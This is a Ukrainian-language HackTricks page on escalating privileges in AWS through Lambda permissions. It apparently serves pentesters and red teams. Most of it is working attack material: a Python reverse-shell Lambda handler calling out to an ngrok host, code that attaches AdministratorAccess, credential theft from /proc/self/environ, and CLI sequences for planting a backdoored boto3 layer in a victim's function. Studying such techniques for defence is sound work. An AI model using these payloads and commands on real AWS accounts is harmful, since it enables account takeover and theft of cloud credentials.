AWS - Lambda Privesc

Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Інші способи підтримки HackTricks:

lambda

Додаткова інформація про lambda в:

pageAWS - Lambda Enum

iam:PassRole, lambda:CreateFunction, (lambda:InvokeFunction | lambda:InvokeFunctionUrl)

Користувачі з дозволами iam:PassRole, lambda:CreateFunction та lambda:InvokeFunction можуть підвищити свої привілеї. Вони можуть створити нову функцію Lambda та призначити їй існуючу роль IAM, надаючи функції дозволи, пов'язані з цією роллю. Користувач може написати та завантажити код до цієї функції Lambda (наприклад, з оборотним shell). Після налаштування функції користувач може запустити її виконання та необхідні дії, викликавши функцію Lambda через API AWS. Цей підхід ефективно дозволяє користувачеві виконувати завдання опосередковано через функцію Lambda, працюючи на рівні доступу, наданого роллю IAM, пов'язаною з нею.\

Атакувальник може скористатися цим, щоб отримати оборотний shell та вкрасти токен:

rev.py
import socket,subprocess,os,time
def lambda_handler(event, context):
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(('4.tcp.ngrok.io',14305))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(['/bin/sh','-i'])
time.sleep(900)
return 0
# Zip the rev shell
zip "rev.zip" "rev.py"

# Create the function
aws lambda create-function --function-name my_function \
--runtime python3.9 --role <arn_of_lambda_role> \
--handler rev.lambda_handler --zip-file fileb://rev.zip

# Invoke the function
aws lambda invoke --function-name my_function output.txt
## If you have the lambda:InvokeFunctionUrl permission you need to expose the lambda inan URL and execute it via the URL

# List roles
aws iam list-attached-user-policies --user-name <user-name>

Ви також можете зловживати дозволами ролі lambda з самої функції lambda. Якщо у ролі lambda було достатньо дозволів, ви можете використати її, щоб надати собі права адміністратора:

import boto3
def lambda_handler(event, context):
client = boto3.client('iam')
response = client.attach_user_policy(
UserName='my_username',
PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess'
)
return response

Також можливо витікання облікових даних ролі лямбди без необхідності зовнішнього підключення. Це буде корисно для ізольованих мережею Лямбд, які використовуються для внутрішніх завдань. Якщо існують невідомі групи безпеки, які фільтрують ваші зворотні оболонки, цей шматок коду дозволить вам безпосередньо витікати облікові дані як вивід лямбди.

def handler(event, context):
sessiontoken = open('/proc/self/environ', "r").read()
return {
'statusCode': 200,
'session': str(sessiontoken)
}
aws lambda invoke --function-name <lambda_name> output.txt
cat output.txt

Потенційний вплив: Пряме підвищення привілеїв до вказаної довільної службової ролі лямбди.

Зверніть увагу, що навіть якщо це може виглядати цікаво lambda:InvokeAsync, не дозволяє самостійно виконувати aws lambda invoke-async, вам також потрібно lambda:InvokeFunction

iam:PassRole, lambda:CreateFunction, lambda:AddPermission

Як і в попередньому сценарії, ви можете надати собі дозвіл на lambda:InvokeFunction, якщо у вас є дозвіл lambda:AddPermission

# Check the previous exploit and use the following line to grant you the invoke permissions
aws --profile "$NON_PRIV_PROFILE_USER" lambda add-permission --function-name my_function \
--action lambda:InvokeFunction --statement-id statement_privesc --principal "$NON_PRIV_PROFILE_USER_ARN"

Потенційний вплив: Пряме підвищення привілеїв до вказаної довільної службової ролі лямбди.

iam:PassRole, lambda:CreateFunction, lambda:CreateEventSourceMapping

Користувачі з дозволами iam:PassRole, lambda:CreateFunction та lambda:CreateEventSourceMapping (і, можливо, dynamodb:PutItem та dynamodb:CreateTable) можуть опосередковано підвищувати привілеї, навіть без lambda:InvokeFunction. Вони можуть створити функцію Lambda зо зловмисним кодом та призначити їй існуючу роль IAM.

Замість прямого виклику Лямбди, користувач налаштовує або використовує існуючу таблицю DynamoDB, пов'язуючи її з Лямбдою через відображення джерела подій. Ця настройка забезпечує автоматичне спрацювання функції Лямбда при введенні нового елементу в таблицю, або користувачем, або іншим процесом, тим самим опосередковано викликаючи функцію Лямбда та виконуючи код з дозволами переданої ролі IAM.

aws lambda create-function --function-name my_function \
--runtime python3.8 --role <arn_of_lambda_role> \
--handler lambda_function.lambda_handler \
--zip-file fileb://rev.zip

Якщо DynamoDB вже активний в середовищі AWS, користувачу лише потрібно встановити відображення джерела подій для функції Lambda. Однак, якщо DynamoDB не використовується, користувач повинен створити нову таблицю з увімкненим потоком даних:

aws dynamodb create-table --table-name my_table \
--attribute-definitions AttributeName=Test,AttributeType=S \
--key-schema AttributeName=Test,KeyType=HASH \
--provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 \
--stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES

Зараз можливо підключити функцію Lambda до таблиці DynamoDB, створивши відображення джерела подій:

aws lambda create-event-source-mapping --function-name my_function \
--event-source-arn <arn_of_dynamodb_table_stream> \
--enabled --starting-position LATEST

За допомогою функції Lambda, пов'язаної з потоком DynamoDB, зловмисник може непрямо активувати Lambda, активуючи потік DynamoDB. Це можна зробити, вставивши елемент у таблицю DynamoDB:

aws dynamodb put-item --table-name my_table \
--item Test={S="Random string"}

Потенційний вплив: Пряме підвищення привілеїв до вказаної ролі служби lambda.

lambda:AddPermission

Зловмисник з цим дозволом може надати собі (або іншим) будь-які дозволи (це генерує політики на основі ресурсів для надання доступу до ресурсу):

# Give yourself all permissions (you could specify granular such as lambda:InvokeFunction or lambda:UpdateFunctionCode)
aws lambda add-permission --function-name <func_name> --statement-id asdasd --action '*' --principal arn:<your user arn>

# Invoke the function
aws lambda lambda invoke --function-name <func_name> /tmp/outout
# Give everyone the permission lambda:GetLayerVersion
aws lambda add-layer-version-permission --layer-name ExternalBackdoor --statement-id xaccount --version-number 1 --principal '*' --action lambda:GetLayerVersion

lambda:UpdateFunctionCode

Користувачі, які мають дозвіл lambda:UpdateFunctionCode, мають можливість змінювати код існуючої функції Lambda, яка пов'язана з роллю IAM. Атакувальник може змінити код лямбди для витіснення IAM-підтверджень.

Хоча атакувальник може не мати прямої можливості викликати функцію, якщо функція Lambda існує і працює, ймовірно, що вона буде запущена через існуючі робочі процеси або події, тим самим опосередковано сприяючи виконанню зміненого коду.

# Thezip should contain the lambda code (trick: DOwnload the current one and add your code there)
aws lambda update-function-code --function-name target_function \
--zip-file fileb:///my/lambda/code/zipped.zip

# If you have invoke permissions:
aws lambda invoke --function-name my_function output.txt

# If not check if it's exposed in any URL or via an API gateway you could access

Потенційний вплив: Пряме підвищення привілеїв до службової ролі lambda, яка використовується.

lambda:UpdateFunctionConfiguration

Вступ

Lambda Layers дозволяє включати код у вашу функцію lambda, але зберігати його окремо, щоб код функції міг залишатися малим, і декілька функцій могли ділитися кодом.

У lambda ви можете перевірити шляхи, звідки завантажується код Python за допомогою функції, подібної наступній:

import json
import sys

def lambda_handler(event, context):
print(json.dumps(sys.path, indent=2))

Ось ці місця:

  1. /var/task

  2. /opt/python/lib/python3.7/site-packages

  3. /opt/python

  4. /var/runtime

  5. /var/lang/lib/python37.zip

  6. /var/lang/lib/python3.7

  7. /var/lang/lib/python3.7/lib-dynload

  8. /var/lang/lib/python3.7/site-packages

  9. /opt/python/lib/python3.7/site-packages

  10. /opt/python

Наприклад, бібліотека boto3 завантажується з /var/runtime/boto3 (4-та позиція).

Експлуатація

Можна зловживати дозволом lambda:UpdateFunctionConfiguration для додавання нового шару до функції лямбда. Для виконання довільного коду цей шар повинен містити бібліотеку, яку лямбда буде імпортувати. Якщо ви можете прочитати код лямбди, ви можете легко знайти це, також слід зауважити, що можливо, що лямбда вже використовує шар і ви можете завантажити шар та додати свій код туди.

Наприклад, давайте припустимо, що лямбда використовує бібліотеку boto3, це створить локальний шар з останньою версією бібліотеки:

pip3 install -t ./lambda_layer boto3

Ви можете відкрити ./lambda_layer/boto3/__init__.py та додати задній прохід у глобальний код (наприклад, функцію для витягування облікових даних або отримання зворотного шелу).

Потім стисніть цю директорію ./lambda_layer та завантажте новий шар lambda у свій власний обліковий запис (або в обліковий запис жертви, але у вас може не бути дозволів на це). Зверніть увагу, що вам потрібно створити папку python та помістити бібліотеки туди, щоб перезаписати /opt/python/boto3. Крім того, шар повинен бути сумісний з версією Python, яку використовує lambda, і якщо ви завантажуєте його у свій обліковий запис, він повинен бути в тому ж регіоні:

aws lambda publish-layer-version --layer-name "boto3" --zip-file file://backdoor.zip --compatible-architectures "x86_64" "arm64" --compatible-runtimes "python3.9" "python3.8" "python3.7" "python3.6"

Зараз зробіть завантажений шар lambda доступним для будь-якого облікового запису:

aws lambda add-layer-version-permission --layer-name boto3 \
--version-number 1 --statement-id public \
--action lambda:GetLayerVersion --principal *

І додайте шар lambda до функції lambda жертви:

aws lambda update-function-configuration \
--function-name <func-name> \
--layers arn:aws:lambda:<region>:<attacker-account-id>:layer:boto3:1 \
--timeout 300 #5min for rev shells

Наступним кроком буде або викликати функцію самостійно, якщо ми можемо, або зачекати, поки вона буде викликана звичайними засобами - це безпечніший метод.

Більш прихований спосіб використання цієї вразливості можна знайти в:

pageAWS - Lambda Layers Persistence

Потенційний вплив: Пряме підвищення привілеїв до використаної ролі служби лямбда.

?iam:PassRole, lambda:CreateFunction, lambda:CreateFunctionUrlConfig, lambda:InvokeFunctionUrl

Можливо, з цими дозволами ви зможете створити функцію та виконати її, викликавши URL... але я не зміг знайти спосіб це перевірити, тому дайте знати, якщо ви це зробите!

Прослуховування Lambda

Деякі лямбди будуть отримувати чутливу інформацію від користувачів у параметрах. Якщо ви отримаєте RCE в одній з них, ви зможете витягти інформацію, яку інші користувачі надсилають до неї, перевірте це в:

pageAWS - Steal Lambda Requests

Посилання

Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Інші способи підтримки HackTricks:

Last updated